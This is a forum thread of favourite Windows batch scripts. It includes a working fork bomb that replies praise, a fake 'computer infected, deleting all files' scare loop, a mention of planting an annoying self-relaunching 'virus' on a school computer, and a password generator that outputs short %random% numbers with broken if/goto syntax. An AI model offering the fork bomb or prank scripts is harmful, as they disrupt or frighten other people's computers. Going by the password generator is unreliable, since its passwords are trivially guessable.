What is your favorite Batch file / scrept?

[IBM_THINKPAD_R51]

 @Echo off
 :Start2
 cls
 goto Start
 :Start
 title Password Generator
 echo I will make you a new password.
 echo Please write the password down somewhere in case you forget it.
 echo ----------------------------------------­-----------------------
 echo 1) 1 Random Password
 echo 2) 5 Random Passwords
 echo 3) 10 Random Passwords
 echo Input your choice
 set input=
 set /p input= Choice:
 if %input%==1 goto A if NOT goto Start2
 if %input%==2 goto B if NOT goto Start2
 if %input%==3 goto C if NOT goto Start2
 :A
 cls
 echo Your password is %random%
 echo Now choose what you want to do.
 echo 1) Go back to the beginning
 echo 2) Exit
 set input=
 set /p input= Choice:
 if %input%==1 goto Start2 if NOT goto Start 2
 if %input%==2 goto Exit if NOT goto Start 2
 :Exit
 exit
 :B
 cls
 echo Your 5 passwords are %random%, %random%, %random%, %random%, %random%.
 echo Now choose what you want to do.
 echo 1) Go back to the beginning
 echo 2) Exit
 set input=
 set /p input= Choice:
 if %input%==1 goto Start2 if NOT goto Start 2
 if %input%==2 goto Exit if NOT goto Start 2
 :C
 cls
 echo Your 10 Passwords are %random%, %random%, %random%, %random%, %random%, %random%, %random%, %random%, %random%, %random%
 echo Now choose what you want to do.
 echo 1) Go back to the beginning
 echo 2) Exit
 set input=
 set /p input= Choice:
 if %input%==1 goto Start2 if NOT goto Start 2
 if %input%==2 goto Exit if NOT goto Start 2​

 

 

 

NOTE:

 

Put this in notepad and save it as NumberGen.bat

 

The file extension " .bat "  is very important.

[Enderman]

@Echo off

echo YOU COMPUTER HAS BEEN INFECTED BY A VIRUS

echo DELETING ALL FILES

:loop

dir/s

goto loop

[manikyath]

i thoght choice was no longer implemented in modern versions of windows?

 

other than that, probably the "virus" i put on a school computer that just opens and closes itself infinitely. nothing harmful, just annoying.

[Sidet]

::Gather Search Stringecho "Enter Search String"set /p SearchString=::Find String on each drive and write to filefindstr /s /i /m "%SearchString%" H:\ *.* > C:\HOutput.txtfindstr /s /i /m "%SearchString%" C:\ *.* > C:\COutput.txt::CAT files into the final outputType C:\HOutput.txt C:\COutput.txt > C:\SearchOutput.txt

This is one of the few batch file requests that I've actually ended up using myself at some point.

[LukeTim]

@Echo off

echo YOU COMPUTER HAS BEEN INFECTED BY A VIRUS

echo DELETING ALL FILES

cd \

:loop

dir/s

goto loop

 

I guess you want to cd to the root \ first.

[whud99]

:a

start %0

%0|%0

goto :a

[Andrew_C]

:astart %0%0|%0goto :a

 

 

Oh that's nice! Love it

[optimup]

:astart %0%0|%0goto :a

Brilliant! Really handy!